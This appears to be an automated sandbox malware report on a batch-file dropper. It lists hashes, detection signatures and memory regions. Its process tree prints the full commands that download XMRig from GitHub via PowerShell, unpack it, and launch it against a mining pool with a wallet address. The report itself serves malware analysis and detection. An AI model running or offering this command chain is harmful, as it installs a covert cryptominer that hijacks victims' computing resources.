Analysis

  • max time kernel
    1787s
  • max time network
    1796s
  • platform
    windows10-1703_x64
  • resource
    win10-20231220-en
  • resource tags

    arch:x64arch:x86image:win10-20231220-enlocale:en-usos:windows10-1703-x64system
  • submitted
    31/12/2023, 14:43

General

  • Target

    tesy - Copy (11).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3828
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (11).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:308
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:396
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1472

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/396-78-0x00000184A7050000-0x00000184A7062000-memory.dmp

    Filesize

    72KB

  • memory/396-39-0x00000184A6DA0000-0x00000184A6DB0000-memory.dmp

    Filesize

    64KB

  • memory/396-38-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/396-64-0x00000184A6DA0000-0x00000184A6DB0000-memory.dmp

    Filesize

    64KB

  • memory/396-91-0x000001848EC80000-0x000001848EC8A000-memory.dmp

    Filesize

    40KB

  • memory/396-40-0x00000184A6DA0000-0x00000184A6DB0000-memory.dmp

    Filesize

    64KB

  • memory/396-115-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/1472-146-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-155-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-186-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-185-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-184-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-183-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-151-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-118-0x000001C34B0B0000-0x000001C34B0D0000-memory.dmp

    Filesize

    128KB

  • memory/1472-119-0x000001C34CB80000-0x000001C34CBA0000-memory.dmp

    Filesize

    128KB

  • memory/1472-120-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-121-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-123-0x000001C34CBC0000-0x000001C34CBE0000-memory.dmp

    Filesize

    128KB

  • memory/1472-122-0x000001C34CBA0000-0x000001C34CBC0000-memory.dmp

    Filesize

    128KB

  • memory/1472-124-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-149-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-128-0x000001C34CBC0000-0x000001C34CBE0000-memory.dmp

    Filesize

    128KB

  • memory/1472-127-0x000001C34CBA0000-0x000001C34CBC0000-memory.dmp

    Filesize

    128KB

  • memory/1472-126-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-129-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-130-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-131-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-132-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-133-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-134-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-135-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-136-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-137-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-138-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-139-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-140-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-141-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-142-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-143-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-144-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-145-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-182-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-147-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-148-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-125-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-181-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-180-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-152-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-153-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-154-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-150-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-156-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-157-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-158-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-159-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-160-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-161-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-162-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-163-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-164-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-165-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-166-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-167-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-168-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-169-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-170-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-171-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-172-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-173-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-174-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-175-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-176-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-177-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-178-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/1472-179-0x00007FF64E210000-0x00007FF64ED13000-memory.dmp

    Filesize

    11.0MB

  • memory/3828-9-0x000002852A9D0000-0x000002852AA46000-memory.dmp

    Filesize

    472KB

  • memory/3828-6-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/3828-4-0x000002852A820000-0x000002852A842000-memory.dmp

    Filesize

    136KB

  • memory/3828-8-0x000002852A710000-0x000002852A720000-memory.dmp

    Filesize

    64KB

  • memory/3828-25-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB

  • memory/3828-26-0x000002852A710000-0x000002852A720000-memory.dmp

    Filesize

    64KB

  • memory/3828-24-0x000002852A710000-0x000002852A720000-memory.dmp

    Filesize

    64KB

  • memory/3828-27-0x000002852A710000-0x000002852A720000-memory.dmp

    Filesize

    64KB

  • memory/3828-32-0x00007FFD22010000-0x00007FFD229FC000-memory.dmp

    Filesize

    9.9MB